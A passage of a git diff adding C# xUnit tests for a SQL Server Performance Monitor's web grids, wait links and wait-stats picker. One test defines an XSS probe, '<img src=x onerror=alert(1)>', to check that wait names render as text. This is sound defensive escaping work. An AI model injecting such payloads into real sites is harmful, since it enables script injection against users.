+        Assert.Equal(keys.Count, keys.Distinct().Count());
+    }
+
+    [Fact]
+    public void TheGridShowsTheDesktopColumnsInTheDesktopOrder()
+    {
+        Assert.Equal(new[]
+        {
+            "database_name", "full_name", "object_type", "last_execution_time", "cached_time", "execution_count",
+            "total_cpu_ms", "avg_cpu_ms", "total_elapsed_ms", "avg_elapsed_ms", "total_logical_reads", "avg_reads",
+            "total_logical_writes", "total_physical_reads", "total_spills", "avg_spills", "min_cpu_ms", "max_cpu_ms",
+            "min_elapsed_ms", "max_elapsed_ms", "min_logical_reads", "max_logical_reads", "min_physical_reads",
+            "max_physical_reads", "min_logical_writes", "max_logical_writes", "min_spills", "max_spills",
+        }, Keys());
+    }
+
+    [Fact]
+    public void TheColumnsAreGrouped_TheCoreSetIsUngrouped_AndNoGroupIsOnAtFirst()
+    {
+        var js = Tab();
+        var cols = ColumnsBlock();
+        var used = Regex.Matches(cols, "group: \"([^\"]+)\"").Select(m => m.Groups[1].Value).Distinct().ToArray();
+        var decl = Regex.Match(js, @"const TOP_PROC_GROUPS = \{\s*groups: \[([^\]]*)\],\s*defaultGroups: \[([^\]]*)\],?\s*\};");
+        Assert.True(decl.Success, "TOP_PROC_GROUPS must declare groups and defaultGroups.");
+        var listed = Regex.Matches(decl.Groups[1].Value, "\"([^\"]+)\"").Select(m => m.Groups[1].Value).ToArray();
+        Assert.Equal(listed.OrderBy(x => x), used.OrderBy(x => x));
+        Assert.Empty(Regex.Matches(decl.Groups[2].Value, "\"([^\"]+)\"").Select(m => m.Groups[1].Value));
+
+        var core = Regex.Matches(cols, @"^  \{ key: ""([a-z_]+)""(?![^\n]*group:)", RegexOptions.Multiline).Select(m => m.Groups[1].Value).ToArray();
+        Assert.Equal(new[]
+        {
+            "database_name", "full_name", "object_type", "execution_count", "total_cpu_ms", "avg_cpu_ms",
+            "total_elapsed_ms", "avg_elapsed_ms", "total_logical_reads", "avg_reads", "total_spills",
+        }, core);
+        Assert.Matches(@"key: ""last_execution_time"", label: ""Last Execution"", format: ""time""", cols);
+        Assert.Matches(@"key: ""cached_time"", label: ""Cached Time"", format: ""time""", cols);
+    }
+
+    [Fact]
+    public void BothTopProceduresGridsPassTheGroupsAndTheFullDetailRead()
+    {
+        var js = Tab();
+        Assert.Equal(2, Regex.Matches(js,
+            @"""get_top_procedures_by_cpu"",\s*rankedParams\(\{ server, hours: ctx\.hours, top: 20, detail: ""full"" \}, ranking\),\s*""procedures"",\s*\[\.\.\.TOP_PROC_COLUMNS, procedurePlanColumn\(server\)\],").Count);
+        /* #5226: the selector is the last argument. #5299: the ranking's retention notice rides the window note, so the grid has no further note key. */
+        Assert.Equal(2, Regex.Matches(js, @"""truncation_note"",\s*null,\s*TOP_PROC_GROUPS,\s*picker\s*\)").Count);
+    }
+
+    [Fact]
+    public void TheDetailParameterIsAnAppendedOptionalWhoseDefaultIsSummary()
+    {
+        var src = Tools();
+        Assert.Contains("string? as_of = null,\n        [Description(\"'summary' (default) or 'full': full adds the remaining desktop columns (times, read/write/spill extremes), omitting nulls.\")] string detail = \"summary\",\n        CancellationToken cancellationToken = default)",
+            src, StringComparison.Ordinal);
+        var web = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs");
+        Assert.Matches(@"\[""get_top_procedures_by_cpu""\] = R\([^\n]*PAsOf\(\), PTextDefault\(""detail"", ""summary""\)\)", web);
+        /* #5226: the web dispatch calls the ranked sibling, so the MCP tool keeps its own signature. */
+        Assert.Matches(@"GetTopProceduresRanked\([^\n]*detail: Str\(c, ""detail""\) \?\? ""summary""", web);
+    }
+
+    [Fact]
+    public void TheAggregateSelectsTheDetailColumnsTheReaderMapsByPosition()
+    {
+        var sql = DarlingDataReader.TopProceduresSql;
+        /* #5226: the statement is two passes. The first FROM procedure_stats belongs to the narrow ranking CTE (its aliases are
+           win_*), so the wide row the reader maps is the SELECT that sits before the JOIN to the winners. */
+        var joinAt = Regex.Match(sql, @"FROM procedure_stats\s+JOIN winners").Index;
+        Assert.True(joinAt > 0, "the wide pass's FROM procedure_stats JOIN winners not found");
+        var select = sql[..joinAt];
+        select = select[select.LastIndexOf("SELECT", StringComparison.Ordinal)..];
+        var aliases = Regex.Matches(select, @"AS ([a-z_]+),?\s*$", RegexOptions.Multiline).Select(m => m.Groups[1].Value).ToList();
+        Assert.Equal(new[]
+        {
+            "max_elapsed_time", "last_execution_time", "cached_time", "min_logical_reads", "max_logical_reads",
+            "min_physical_reads", "max_physical_reads", "min_logical_writes", "max_logical_writes", "min_spills", "max_spills",
+        }, aliases.Skip(aliases.IndexOf("max_elapsed_time")).ToArray());
+        var reader = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingDataReader.cs").ReplaceLineEndings("\n");
+        Assert.Contains("ReadTopProcedureDetail(reader, 17, clock)", reader, StringComparison.Ordinal);
+        Assert.Contains("Time(0), Time(1),\n            Long(2), Long(3), Long(4), Long(5), Long(6), Long(7), Long(8), Long(9));", reader, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheTimestampsAreConvertedFromTheServerClock_AndTheHourlyTierSaysItCarriesNoDetail()
+    {
+        var src = Tools();
+        Assert.Contains("last_execution_time = d.LastExecutionTime?.ToString(\"o\")", src, StringComparison.Ordinal);
+        Assert.Contains("cached_time = d.CachedTime?.ToString(\"o\")", src, StringComparison.Ordinal);
+        Assert.Contains("if (value is not null)", src, StringComparison.Ordinal);
+        Assert.Contains("if (!full || d is null)", src, StringComparison.Ordinal);
+        Assert.Contains("detail=full was asked, but the hourly rollup does not carry the detail fields (last_execution_time, cached_time,", src, StringComparison.Ordinal);
+        var reader = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingDataReader.cs");
+        Assert.Contains("DateTime? Time(int i) => DarlingServerClockReader.ToUtc(clock, reader, first + i);", reader, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/WebTopQueriesColumnsTests.cs b/Darling/Darling.Tests/WebTopQueriesColumnsTests.cs
new file mode 100644
index 0000000000..e833240853
--- /dev/null
+++ b/Darling/Darling.Tests/WebTopQueriesColumnsTests.cs
@@ -0,0 +1,162 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Source pins for the web Top Queries grid: it shows the desktop grid's columns in the desktop's order, every column key
+/// is a field the read can return, the columns are grouped with the core set always on, the page asks for the full
+/// detail, and both aggregate statements select the detail columns the reader maps by position.
+/// </summary>
+public sealed class WebTopQueriesColumnsTests
+{
+    private static string Tab() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js")
+            .ReplaceLineEndings("\n");
+
+    private static string Tools() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpDataTools.cs").ReplaceLineEndings("\n");
+
+    private static string ColumnsBlock()
+    {
+        var tab = Tab();
+        var start = tab.IndexOf("const TOP_QUERY_COLUMNS = [", StringComparison.Ordinal);
+        Assert.True(start >= 0, "TOP_QUERY_COLUMNS not found");
+        return tab[start..tab.IndexOf("\n];", start, StringComparison.Ordinal)];
+    }
+
+    private static List<string> Keys() =>
+        Regex.Matches(ColumnsBlock(), "\\bkey: \"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToList();
+
+    /// <summary>Every field name the read can put on a row: the base projection plus the detail fields.</summary>
+    private static HashSet<string> ReadFields()
+    {
+        var src = Tools();
+        var start = src.IndexOf("Name = \"get_top_queries_by_cpu\"", StringComparison.Ordinal);
+        var end = src.IndexOf("Name = \"get_top_procedures_by_cpu\"", start, StringComparison.Ordinal);
+        var seg = src[start..end];
+        var sel = seg.IndexOf("rows.Select(r =>", StringComparison.Ordinal);
+        var close = seg.IndexOf("\n            }, r.Detail, full)", sel, StringComparison.Ordinal);
+        Assert.True(sel >= 0 && close > sel, "row projection not found");
+        var fields = Regex.Matches(seg[sel..close], "^                ([a-z_]+) = ", RegexOptions.Multiline).Select(m => m.Groups[1].Value).ToHashSet();
+        var detail = src[src.IndexOf("private static JsonObject WithDetail", StringComparison.Ordinal)..];
+        detail = detail[..detail.IndexOf("return node;\n    }", StringComparison.Ordinal)];
+        foreach (Match m in Regex.Matches(detail, "Put\\(\"([a-z_]+)\""))
+        {
+            fields.Add(m.Groups[1].Value);
+        }
+
+        return fields;
+    }
+
+    [Fact]
+    public void EveryColumnKeyIsAFieldTheReadReturns()
+    {
+        var keys = Keys();
+        var fields = ReadFields();
+        Assert.Empty(keys.Except(fields));
+        Assert.Equal(keys.Count, keys.Distinct().Count());
+    }
+
+    [Fact]
+    public void TheGridShowsTheDesktopColumnsInTheDesktopOrder_WithTheQueryRightOfTheDatabase()
+    {
+        Assert.Equal(new[]
+        {
+            "database_name", "query_text", "host_object", "last_execution_time", "creation_time", "execution_count",
+            "total_cpu_ms", "avg_cpu_ms", "worker_time_per_second", "plan_generation_num", "total_clr_ms",
+            "total_elapsed_ms", "avg_elapsed_ms", "total_logical_reads", "avg_reads", "total_logical_writes",
+            "total_physical_reads", "total_rows", "total_spills", "min_cpu_ms", "max_cpu_ms", "min_elapsed_ms",
+            "max_elapsed_ms", "min_physical_reads", "max_physical_reads", "min_rows", "max_rows", "min_grant_kb",
+            "max_grant_kb", "min_used_grant_kb", "max_used_grant_kb", "min_ideal_grant_kb", "max_ideal_grant_kb",
+            "min_spills", "max_spills", "min_dop", "max_dop", "min_reserved_threads", "max_reserved_threads",
+            "min_used_threads", "max_used_threads", "query_hash", "query_plan_hash", "sql_handle", "plan_handle",
+        }, Keys());
+    }
+
+    [Fact]
+    public void TheColumnsAreGrouped_TheCoreSetIsUngrouped_AndNoGroupIsOnAtFirst()
+    {
+        var js = Tab();
+        var cols = ColumnsBlock();
+        var used = Regex.Matches(cols, "group: \"([^\"]+)\"").Select(m => m.Groups[1].Value).Distinct().ToArray();
+        var decl = Regex.Match(js, @"const TOP_QUERY_GROUPS = \{\s*groups: \[([^\]]*)\],\s*defaultGroups: \[([^\]]*)\],?\s*\};");
+        Assert.True(decl.Success, "TOP_QUERY_GROUPS must declare groups and defaultGroups.");
+        var listed = Regex.Matches(decl.Groups[1].Value, "\"([^\"]+)\"").Select(m => m.Groups[1].Value).ToArray();
+        Assert.Equal(listed.OrderBy(x => x), used.OrderBy(x => x));
+        Assert.Empty(Regex.Matches(decl.Groups[2].Value, "\"([^\"]+)\"").Select(m => m.Groups[1].Value));
+
+        var core = Regex.Matches(cols, @"^  \{ key: ""([a-z_]+)""(?![^\n]*group:)", RegexOptions.Multiline).Select(m => m.Groups[1].Value).ToArray();
+        Assert.Equal(new[]
+        {
+            "database_name", "query_text", "host_object", "execution_count", "total_cpu_ms", "avg_cpu_ms",
+            "total_elapsed_ms", "avg_elapsed_ms", "total_logical_reads", "avg_reads", "total_spills", "query_hash",
+        }, core);
+    }
+
+    [Fact]
+    public void BothTopQueriesGridsPassTheGroupsAndTheFullDetailRead()
+    {
+        var js = Tab();
+        /* #5226: both grids send their params through rankedParams, which adds order_by only for a non-default pick, so the
+           default read's params are still exactly { server, hours, top: 20, detail: "full" }. */
+        Assert.Equal(2, Regex.Matches(js, @"""get_top_queries_by_cpu"",\s*rankedParams\(\{ server, hours: ctx\.hours, top: 20, detail: ""full"" \}, ranking\)").Count);
+        Assert.Equal(2, Regex.Matches(js, @"get_top_queries_by_cpu"",\s*rankedParams\(\{ server, hours: ctx\.hours, top: 20, detail").Count);
+        Assert.Contains("groups: TOP_QUERY_GROUPS.groups", js, StringComparison.Ordinal);
+        Assert.Matches(@"TOP_QUERY_COLUMNS,[^;]*?TOP_QUERY_GROUPS,\s*picker\s*\)", js);
+    }
+
+    [Fact]
+    public void TheDetailParameterIsAnAppendedOptionalWhoseDefaultIsSummary()
+    {
+        var src = Tools();
+        Assert.Contains("string detail = \"summary\",\n        CancellationToken cancellationToken = default)", src, StringComparison.Ordinal);
+        var web = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs");
+        Assert.Contains("PTextDefault(\"detail\", \"summary\")", web, StringComparison.Ordinal);
+        Assert.Contains("detail: Str(c, \"detail\") ?? \"summary\"", web, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("TopQueriesSql")]
+    [InlineData("TopQueriesByHostObjectSql")]
+    public void BothAggregatesSelectTheDetailColumnsTheReaderMapsByPosition(string which)
+    {
+        var sql = which == "TopQueriesSql" ? DarlingDataReader.TopQueriesSql : DarlingDataReader.TopQueriesByHostObjectSql;
+        /* The outer SELECT list starts at r.database_name; the final ORDER BY repeats that text, so LastIndexOf no longer finds it. */
+        var outer = sql[Regex.Match(sql, @"SELECT\s+r\.database_name,").Index..];
+        var select = outer[..outer.IndexOf("FROM ranked", StringComparison.Ordinal)];
+        var cols = Regex.Matches(select, @"^\s+(?:r\.|t\.|CAST\()([a-z_0-9]+)", RegexOptions.Multiline).Select(m => m.Groups[1].Value).ToList();
+        Assert.Equal(new[]
+        {
+            "last_execution_time", "creation_time", "min_physical_reads", "max_physical_reads", "min_rows", "max_rows",
+            "min_grant_kb", "max_grant_kb", "min_used_grant_kb", "max_used_grant_kb", "min_ideal_grant_kb",
+            "max_ideal_grant_kb", "min_spills", "max_spills", "min_reserved_threads", "max_reserved_threads",
+            "min_used_threads", "max_used_threads", "total_clr_time", "plan_generation_num", "worker_time_per_second",
+        }, cols.Skip(cols.IndexOf("last_execution_time")).ToArray());
+        Assert.Contains("distinct_query_hashes", select, StringComparison.Ordinal);
+        Assert.Contains("MAX(last_execution_time) AS last_execution_time", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheFullRowOmitsNullsAndTheHourlyTierSendsNoDetail()
+    {
+        var src = Tools();
+        Assert.Contains("if (value is not null)", src, StringComparison.Ordinal);
+        Assert.Contains("if (!full || d is null)", src, StringComparison.Ordinal);
+        var reader = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingDataReader.cs");
+        Assert.Contains("DistinctQueryHashes: 1));", reader, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/WebWaitQueriesLinkBehaviourTests.cs b/Darling/Darling.Tests/WebWaitQueriesLinkBehaviourTests.cs
new file mode 100644
index 0000000000..5f16601c17
--- /dev/null
+++ b/Darling/Darling.Tests/WebWaitQueriesLinkBehaviourTests.cs
@@ -0,0 +1,205 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The web wait links (#5235), from the shipped <c>server-tabs.js</c>, <c>charts.js</c>, <c>util.js</c> and <c>panels.js</c>
+/// run under Node (<c>web-wait-queries-link-harness.mjs</c>) against a scripted <c>/api/read</c>: the Wait cell of the Wait
+/// Stats, Waiting Tasks and Significant Waits grids is a button that opens Active Queries filtered to that wait, over the hour
+/// around the row's own time (Wait Stats keeps the range), and the filtered Active Queries panel reads at most 500 rows and
+/// carries a strip that clears the filter. Node is skipped when it is not installed.
+/// </summary>
+public sealed class WebWaitQueriesLinkBehaviourTests
+{
+    private const long HalfMs = 30 * 60000;
+    private static readonly Lazy<JsonElement> Result = new(Run);
+
+    private static JsonElement Run()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-wait-queries-link-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped web scripts cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(60000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the wait links harness did not finish in 60 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the wait links harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n')[^1]);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string Js(params string[] rel) =>
+        ReadRepoFile(Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", Path.Combine(rel)));
+
+    private static string[] Strings(JsonElement e) => e.EnumerateArray().Select(x => x.GetString()!).ToArray();
+
+    private static JsonElement OneCall(JsonElement r, string name)
+    {
+        var calls = r.GetProperty(name);
+        Assert.Equal(1, calls.GetArrayLength());
+        return calls[0];
+    }
+
+    private const string Markup = "<img src=x onerror=alert(1)>";
+
+    [Fact]
+    public void AWaitingTasksRow_OpensActiveQueries_FilteredToItsWait_AtItsTimePlusOrMinusThirtyMinutes()
+    {
+        var r = Result.Value;
+        var call = OneCall(r, "taskCalls");
+        var rowMs = r.GetProperty("taskRowFracMs").GetInt64();
+        Assert.Equal(rowMs - HalfMs, call.GetProperty("startMs").GetInt64());
+        Assert.Equal(rowMs + HalfMs, call.GetProperty("endMs").GetInt64());
+        Assert.False(call.GetProperty("redraw").GetBoolean()); // the router rebuilds the page, not a panel redraw
+        Assert.Equal("LCK_M_X", r.GetProperty("taskFilter").GetString());
+        Assert.Equal("#/server/A/queries", r.GetProperty("taskHash").GetString());
+        Assert.Equal("Show the active queries waiting on LCK_M_X around this time", r.GetProperty("taskTitle").GetString());
+    }
+
+    [Fact]
+    public void ASignificantWaitsRow_OpensActiveQueries_FilteredToItsWait_AtItsEventTime()
+    {
+        var r = Result.Value;
+        var call = OneCall(r, "sigCalls");
+        var rowMs = r.GetProperty("sigRowFloorMs").GetInt64();
+        Assert.Equal(rowMs - HalfMs, call.GetProperty("startMs").GetInt64());
+        Assert.Equal(rowMs + HalfMs, call.GetProperty("endMs").GetInt64());
+        Assert.Equal("PAGEIOLATCH_SH", r.GetProperty("sigFilter").GetString());
+        Assert.Equal("#/server/A/queries", r.GetProperty("sigHash").GetString());
+    }
+
+    [Fact]
+    public void AWaitStatsRow_OpensActiveQueries_FilteredToItsWait_KeepingTheRange()
+    {
+        // A Wait Stats row is a window total with no instant of its own, so no range is applied and the page keeps its own.
+        var r = Result.Value;
+        Assert.Equal(0, r.GetProperty("statCalls").GetArrayLength());
+        Assert.Equal("WRITELOG", r.GetProperty("statFilter").GetString());
+        Assert.Equal("#/server/A/queries", r.GetProperty("statHash").GetString());
+    }
+
+    [Fact]
+    public void ARowTimeWithMicroseconds_IsInsideTheRangeItOpens()
+    {
+        // The rows carry 6 and 7 fractional digits; a Date holds milliseconds, so the instant must still sit inside the hour.
+        var r = Result.Value;
+        var task = OneCall(r, "taskCalls");
+        var sig = OneCall(r, "sigCalls");
+        var taskMs = r.GetProperty("taskRowFracMs").GetInt64();
+        var sigMs = r.GetProperty("sigRowFloorMs").GetInt64();
+        Assert.InRange(taskMs, task.GetProperty("startMs").GetInt64(), task.GetProperty("endMs").GetInt64() - 1);
+        Assert.InRange(sigMs, sig.GetProperty("startMs").GetInt64(), sig.GetProperty("endMs").GetInt64() - 1);
+        Assert.Equal(2 * HalfMs, task.GetProperty("endMs").GetInt64() - task.GetProperty("startMs").GetInt64());
+    }
+
+    [Fact]
+    public void ARowWithNoWaitOrNoParseableTime_HasNoLink()
+    {
+        // Waiting Tasks rows: LCK_M_X (link), QDS_ASYNC_QUEUE (never linked), no wait, a time that does not parse, markup (link).
+        var r = Result.Value;
+        Assert.Equal(new[] { "LCK_M_X", Markup }, Strings(r.GetProperty("taskButtons")));
+        Assert.Equal(new[] { "LCK_M_X", "QDS_ASYNC_QUEUE", "—", "CXPACKET", Markup }, Strings(r.GetProperty("taskWaitCells")));
+        // The Wait Stats and Significant Waits grids leave their QDS_* waits as text too.
+        Assert.Equal(new[] { "WRITELOG" }, Strings(r.GetProperty("statButtons")));
+        Assert.Equal(new[] { "PAGEIOLATCH_SH" }, Strings(r.GetProperty("sigButtons")));
+        Assert.Equal(new[] { "PAGEIOLATCH_SH", "QDS_PERSIST_TASK_MAIN_LOOP_SLEEP" }, Strings(r.GetProperty("sigWaitCells")));
+        Assert.Equal(0, r.GetProperty("rejectionsAfterBuild").GetInt32());
+    }
+
+    [Fact]
+    public void TheFilteredGrid_ReadsWaitTypeAtLimit500_AndTheStripClearsIt()
+    {
+        var r = Result.Value;
+        // Unfiltered: byte-identical to today's request, no strip.
+        Assert.Equal("?server=A&hours=24&limit=50", r.GetProperty("unfilteredQuery").GetString());
+        Assert.Equal(0, r.GetProperty("unfilteredStrips").GetInt32());
+        Assert.Equal("Active Queries last 24 hours", r.GetProperty("unfilteredHeadText").GetString());
+
+        Assert.Equal("?server=A&hours=24&limit=500&wait_type=LCK_M_X", r.GetProperty("filteredQuery").GetString());
+        // The heading stays "Active Queries"; the subtitle names the wait; the strip sits between the heading and the grid.
+        Assert.Equal("Active Queries last 24 hours, waiting on LCK_M_X", r.GetProperty("filteredHeadText").GetString());
+        Assert.Equal(new[] { "h3:", "div:strip", "div:panel-body" }, Strings(r.GetProperty("filteredHeadChildOrder")));
+        Assert.Equal(1, r.GetProperty("stripCount").GetInt32());
+        Assert.Equal("Only requests waiting on LCK_M_X. Show all active queries", r.GetProperty("stripText").GetString());
+        Assert.Equal("Show all active queries", r.GetProperty("showAllLabel").GetString());
+
+        // The button clears the filter and rebuilds through a same-hash hashchange.
+        Assert.Equal("", r.GetProperty("filterAfterShowAll").GetString());
+        Assert.Equal(1, r.GetProperty("dispatchedAfterShowAll").GetInt32());
+        Assert.Equal("#/server/A/waits", r.GetProperty("hashAfterShowAll").GetString());
+
+        // A filtered miss names the wait: the server's envelope does, and so does the panel's own text.
+        Assert.Equal(new[] { "No active-query snapshots with wait_type 'WRITELOG' were collected in this window." }, Strings(r.GetProperty("emptyEnvelopeText")));
+        Assert.Equal(new[] { "No active queries waiting on WRITELOG were captured in this window." }, Strings(r.GetProperty("emptyRowsText")));
+    }
+
+    [Fact]
+    public void ARefusedRange_SetsNoFilter_AndKeepsTheTab()
+    {
+        var r = Result.Value;
+        Assert.Equal("", r.GetProperty("refusedFilter").GetString());
+        Assert.Equal("#/server/A/waits", r.GetProperty("refusedHash").GetString());
+        Assert.Equal(1, r.GetProperty("refusedCalls").GetInt32());
+        Assert.Equal(new[] { "The end cannot be in the future." }, Strings(r.GetProperty("refusedNote")));
+    }
+
+    [Fact]
+    public void AWaitName_RendersAsText_NeverAsMarkup()
+    {
+        var r = Result.Value;
+        Assert.True(r.GetProperty("markupFound").GetBoolean());
+        Assert.Equal(0, r.GetProperty("markupChildren").GetInt32());
+        Assert.Equal(Markup, r.GetProperty("markupFilter").GetString());
+        Assert.Equal("Only requests waiting on " + Markup + ". Show all active queries", r.GetProperty("markupStripText").GetString());
+        Assert.Equal(0, r.GetProperty("markupStripSpanChildren").GetInt32());
+        Assert.Equal("Active Queries last 24 hours, waiting on " + Markup, r.GetProperty("markupSubtitle").GetString());
+    }
+
+    [Fact]
+    public void TheWaitColumns_KeepTheirRawKey_SoSortFilterCsvAndCopyReadTheWait()
+    {
+        // The cell is built by a render function on the column; the column keeps key wait_type, which the grid tools read.
+        var tabs = Js("pages", "server-tabs.js");
+        Assert.Contains("c.key === \"wait_type\" ? { ...c, render:", tabs, StringComparison.Ordinal);
+        Assert.Contains("withWaitLink(WAIT_COLUMNS, server, null)", tabs, StringComparison.Ordinal);
+        Assert.Contains("withWaitLink(WAITING_TASK_COLUMNS, server, \"collection_time\")", tabs, StringComparison.Ordinal);
+        Assert.Contains("withWaitLink(SIGNIFICANT_WAIT_COLUMNS, server, \"event_time\")", tabs, StringComparison.Ordinal);
+        // One predicate says which waits are linked; the grid cell and the chart item both call it.
+        Assert.Contains("waitIsLinked(wait)", tabs, StringComparison.Ordinal);
+        Assert.Contains("waitIsLinked(wait)", Js("charts.js"), StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/WebWaitStatsMultiSelectBehaviourTests.cs b/Darling/Darling.Tests/WebWaitStatsMultiSelectBehaviourTests.cs
new file mode 100644
index 0000000000..36ef999a69
--- /dev/null
+++ b/Darling/Darling.Tests/WebWaitStatsMultiSelectBehaviourTests.cs
@@ -0,0 +1,267 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// What the web Wait Stats panel's multi-select picker does, from the shipped <c>server-tabs.js</c>,
+/// <c>multi-picker.js</c> and <c>charts.js</c> run under Node (<c>web-waits-harness.mjs</c>) against a scripted
+/// <c>/api/read</c>: the default set, check and uncheck, search, the cap of ten, the state surviving the 60 s rebuild for
+/// one server and starting fresh for another, a failed series and the one read per checked wait. Node is skipped when it
+/// is not installed.
+/// </summary>
+[Trait("Cost", "Slow")]
+public sealed class WebWaitStatsMultiSelectBehaviourTests
+{
+    private static readonly string[] FirstTen =
+        { "CXPACKET", "PAGEIOLATCH_SH", "LCK_M_X", "WRITELOG", "ASYNC_NETWORK_IO", "SOS_SCHEDULER_YIELD", "THREADPOOL", "W08", "W09", "W10" };
+
+    private static bool TryRun(string scenario, out JsonElement result)
+    {
+        result = default;
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-waits-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return false;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the waits harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the waits harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            result = doc.RootElement.Clone();
+            Assert.Empty(result.GetProperty("rejections").EnumerateArray());
+            return true;
+        }
+    }
+
+    private static string[] Strings(JsonElement array) => array.EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    private static JsonElement Run(string scenario)
+    {
+        Assert.True(TryRun(scenario, out var result));
+        return result;
+    }
+
+    [Fact]
+    public void TheDefaultSet_IsTheDesktopsTopWaits_BoundedByTheCap_AndEachDrawsOneRead()
+    {
+        var r = Run("defaults");
+        Assert.Equal(FirstTen, Strings(r.GetProperty("checked")).ToArray());
+        Assert.Equal(FirstTen, Strings(r.GetProperty("reads")));
+        Assert.Equal(FirstTen, Strings(r.GetProperty("chart").GetProperty("labels")));
+        Assert.Equal("10 / 10 selected", r.GetProperty("count").GetString());
+        Assert.Equal("wait-trend|SRV1|wait_time_ms_per_second", r.GetProperty("chart").GetProperty("id").GetString());
+    }
+
+    [Fact]
+    public void CheckingAndUnchecking_RedrawsTheChartFromOneReadPerCheckedWait()
+    {
+        var r = Run("checkUncheck");
+        Assert.DoesNotContain("CXPACKET", Strings(r.GetProperty("afterUncheck")));
+        Assert.Equal(9, Strings(r.GetProperty("readsAfterUncheck")).Length);
+        Assert.DoesNotContain("CXPACKET", Strings(r.GetProperty("readsAfterUncheck")));
+        Assert.Contains("W11", Strings(r.GetProperty("afterCheck")));
+        Assert.Equal(Strings(r.GetProperty("afterCheck")), Strings(r.GetProperty("readsAfterCheck")));
+        Assert.Equal(Strings(r.GetProperty("afterCheck")), Strings(r.GetProperty("chart").GetProperty("labels")));
+    }
+
+    [Fact]
+    public void Search_NarrowsTheList_AndKeepsTheChecks()
+    {
+        var r = Run("search");
+        Assert.Equal(new[] { "LCK_M_X" }, Strings(r.GetProperty("found")));
+        Assert.Empty(Strings(r.GetProperty("none")));
+        Assert.Single(Strings(r.GetProperty("noneText")));
+        Assert.Equal(14, r.GetProperty("all").GetInt32());
+    }
+
+    [Fact]
+    public void TheCap_DisablesTheEleventhCheckbox_WithAHint_AndClearAllEmptiesTheChart()
+    {
+        var r = Run("cap");
+        Assert.Empty(Strings(r.GetProperty("afterClear")));
+        Assert.Equal(10, r.GetProperty("checked").GetArrayLength());
+        Assert.Equal(4, r.GetProperty("disabled").GetInt32());
+        Assert.Contains("Limit reached", Strings(r.GetProperty("hint")).Single());
+        Assert.True(r.GetProperty("emptyChart").GetInt32() >= 1);
+        Assert.Equal(FirstTen, Strings(r.GetProperty("top")));
+    }
+
+    [Fact]
+    public void TheChoices_SurviveARebuildForTheSameServer_AndStartFreshForAnother()
+    {
+        var r = Run("survives");
